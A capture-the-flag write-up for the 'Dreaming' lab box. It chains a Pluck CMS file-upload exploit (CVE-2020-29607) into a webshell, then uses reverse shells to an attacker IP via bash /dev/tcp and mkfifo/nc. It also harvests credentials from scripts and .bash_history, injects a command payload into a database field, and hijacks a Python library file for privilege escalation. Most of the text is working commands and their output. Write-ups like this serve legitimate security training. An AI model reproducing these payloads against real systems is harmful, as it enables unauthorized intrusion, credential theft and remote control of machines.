

# Dreaming : Solve the riddle that dreams have woven.

ip = "10.10.93.113"

First things first, lets see what running on this machine.

```
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_  3072 76:26:67:a6:b0:0e:ed:34:58:5b:4e:77:45:92:57 (RSA)
|_  256 52:3a:ad:26:7f:6e:3f:23:f9:e4:ef:e8:5a:c8:42:5c (ECDSA)
|_  256 71:df:6e:81:f0:80:79:71:a8:da:2e:1e:56:c4:de:bb (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.41 (Ubuntu)
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 3.1 - 3.2 (93%), Linux 3.11 (93%), Linux 3.2 - 4.9 (93%), Linux 3.5 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 5.700 days (since Fri May 31 23:36:36 2024)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Here we get the default apache page, now we move on to dir enum to see what is lurking.

Dirbuster never disappoints, I get to see a list of dirs

```
l-$ dirbuster -u https://10.10.93.113 -l /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Picked up JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /icons/ - 403
Dir found: /icons/small/ - 403
Dir found: /app/ - 200
Dir found: /app/pluck-4.7.13/ - 302
Jun 06, 2024 4:49:18 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: I/O exception (org.apache.commons.httpclient.NoHttpResponseException) caught when processing request: The server 10.10.93.113 failed to respond
Jun 06, 2024 4:49:18 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: Retrying request
File found: /app/pluck-4.7.13/index.php - 302
Dir found: /app/pluck-4.7.13/images/ - 200
File found: /app/pluck-4.7.13/login.php - 200
Dir found: /app/pluck-4.7.13/docs/ - 200
Dir found: /app/pluck-4.7.13/files/ - 200
File found: /app/pluck-4.7.13/docs/CHANGES - 200
File found: /app/pluck-4.7.13/docs/COPYING - 200
File found: /app/pluck-4.7.13/docs/README - 200
File found: /app/pluck-4.7.13/docs/UPDATING - 200
File found: /app/pluck-4.7.13/docs/update.php - 200
Dir found: /app/pluck-4.7.13/data/ - 200
File found: /app/pluck-4.7.13/admin.php - 200
Jun 06, 2024 4:54:13 PM au.id.jericho.lib.html.LoggerProviderJava$JavaLogger info
INFO: StartTag at (r59,c31,p1920) missing required end tag - invalid nested start tag encountered before end tag
Jun 06, 2024 4:54:13 PM au.id.jericho.lib.html.LoggerProviderJava$JavaLogger info
INFO: StartTag at (r70,c31,p2182) missing required end tag - invalid nested start tag encountered before end tag
Jun 06, 2024 4:54:13 PM au.id.jericho.lib.html.LoggerProviderJava$JavaLogger info
INFO: StartTag ing at (r49,c31,p1679) contains attribute name with invalid first character at position (r49,c66,p1714)
Jun 06, 2024 4:54:21 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: I/O exception (org.apache.commons.httpclient.NoHttpResponseException) caught when processing request: The server 10.10.93.113 failed to respond
Jun 06, 2024 4:54:21 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: Retrying request
File found: /app/pluck-4.7.13/files/.htaccess - 403
File found: /app/pluck-4.7.13/images/.htaccess - 403
Dir found: /app/pluck-4.7.13/data/modules/ - 200
Dir found: /app/pluck-4.7.13/data/modules/albums/ - 200
Dir found: /app/pluck-4.7.13/data/modules/tinymce/ - 200
Dir found: /app/pluck-4.7.13/data/modules/blog/ - 200
Dir found: /app/pluck-4.7.13/data/modules/contactform/ - 200
File found: /app/pluck-4.7.13/data/modules/tinymce/tinymce.min.js - 200
Dir found: /app/pluck-4.7.13/data/modules/albums/images/ - 200
Dir found: /app/pluck-4.7.13/data/modules/tinymce/images/ - 200
```

It looks it is a pluck-4.7.13 CMS running. It has a CVE-2020-29607 of Remote File Upload

I downloaded the python script, it takes three arguments like seen below.

```
python 49909.py 10.10.93.113 80 password /app/pluck-4.7.13
```

```
l-$ python 49909.py 10.10.93.113 80 password /app/pluck-4.7.13
Authentication was succesfull, uploading webshell
Uploaded Webshell to: http://10.10.93.113:80/app/pluck-4.7.13/files/shell.phar
```

After navigating to the link below, I get a web shell where I can run some commands. I will do it my way and create a reverse shell to my machine.

```
bash -i >& /dev/tcp/10.4.69.161/1423 0>&1
```

```
p0wny@shell:~/pluck-4.7.13/files# ls
shell.phar
```

```
p0wny@shell:~/pluck-4.7.13/files# whoami
www-data
```

```
p0wny@shell:~/pluck-4.7.13/files# bash -i >& /dev/tcp/10.4.69.161/1423 0>&1
```

```
p0wny@shell:~/pluck-4.7.13/files#
```

```
p0wny@shell:~/pluck-4.7.13/files# bash -c 'bash -i >& /dev/tcp/10.4.69.161/1423 0>&1'
```

```
p0wny@shell:~/pluck-4.7.13/files# |
```

```
(itsme@localhost)-[/tmp/ex]
$ nc -nlp 1423
listening on [any] 1423 ...
connect to [10.4.69.161] from (UNKNOWN) [10.10.93.113] 44262
bash: cannot set terminal process group (802): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dreaming:/var/www/html/app/pluck-4.7.13/files$ whoami
www-data
www-data@dreaming:/var/www/html/app/pluck-4.7.13/files$
```

I looked around the home folder where there are three users but I can't access due to insufficient permissions.. After much struggle I got two python scripts. I read one of the file where I got one of the users password.

```
www-data@dreaming:/home$ cd /opt
cd /opt
www-data@dreaming:/opt$ ls
ls
getDreams.py
test.py
www-data@dreaming:/opt$ cat test.py
cat test.py
import requests

# TODO add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "KeyLucien@1999"

data = {
    "cont1":password,
    "bogos": "",
    "submit": "Log-in"
}

req = requests.post(url, data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)
www-data@dreaming:/opt$
```




I am now able to ssh to the user lucien

```
*** System restart required ***
Last login: Mon Aug 7 23:34:46 2023 from 192.168.1.102
lucien@dreaming:~$ whoami
lucien
lucien@dreaming:~$
```

Remember there were two files, in one I got the password, in the other its scripts that fetches data from the database. I have insufficient permissions to edit it but I can run it as user death.

I have a saying, history is for the beleivers, I get the creds for .mysql from .bash\_history

```
lucien@dreaming:/opt$ cat ~/.bash_history
ls
cd /etc/ssh/
clear
nano sshd_config
su root
cd ..
ls
cd ..
cd etc
ls
..
cd ..
cd usr
cd lib
cd python3.8
nano shutil.py
clear
clear
su root
cd --
cd -
clear
ls
mysql -u lucien -plucien42DBPASSWORD
ls -la
cat ~/.bash_history
cat ~/.mysql_history
clear
ls
ls -la
```

The idea is to insert into the table

```
INSERT INTO dreams (dreamer, dream) VALUES ('myDream', '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.4.69.161 1423 >/tmp/f)');
```

```
lucien@dreaming:~$ mysql -u lucien -plucien42DBPASSWORD
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.33-0ubuntu0.20.04.4 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use library;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables
+-----+
| Tables_in_library |
+-----+
| dreams             |
+-----+
1 row in set (0.00 sec)

mysql> select * from dreams;
+-----+-----+
| dreamer | dream |
+-----+-----+
| Alice   | Flying in the sky |
| Bob     | Exploring ancient ruins |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician |
+-----+-----+
4 rows in set (0.01 sec)

mysql> INSERT INTO dreams (dreamer, dream) VALUES ('myDream', '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.4.69.161 1423 >/tmp/f)');
Query OK, 1 row affected (0.01 sec)

mysql>
```

Now we create a NC listener, run the script and hope we get a shell with user death

```
lucien@dreaming:~$ nc -nlp 1423
listening on [any] 1423 ...
connect to [10.4.69.161] from (UNKNOWN) [10.10.108.135] 55168
$ whoami
death
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
```

We need to use pypy64 to check running processes

```
find / -type f -not -path "/proc/*" -not -path "/sys/*" -not -path
"/home/death/*" -writable 2>/dev/null
echo "import os;os.system('\nbash -c 'bash -i >& /dev/tcp/10.4.69.161/1290
0>&1'\")" > /usr/lib/python3.8/shutil.py
```

## We create another nc listener and we get a shell

```
l~$ nc -nlp 1290
listening on [any] 1290 ...
connect to [10.4.69.161] from (UNKNOWN) [10.10.108.135] 41182
bash: cannot set terminal process group (39244): Inappropriate ioctl for device
bash: no job control in this shell
morpheus@dreaming:~$ whoami
morpheus
morpheus@dreaming:~$ ls -al
ls -al
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug  7  2023 .
drwxr-xr-x 5 root      root    4096 Jul 28  2023 ..
-rw-r----- 1 morpheus morpheus  58 Aug 14  2023 .bash_history
-rw-r--r--  1 morpheus morpheus 220 Feb 25  2020 .bash_logout
-rw-r--r--  1 morpheus morpheus 3771 Feb 25  2020 .bashrc
-rw-rw-r--  1 morpheus morpheus  22 Jul 28  2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28  2023 .local
```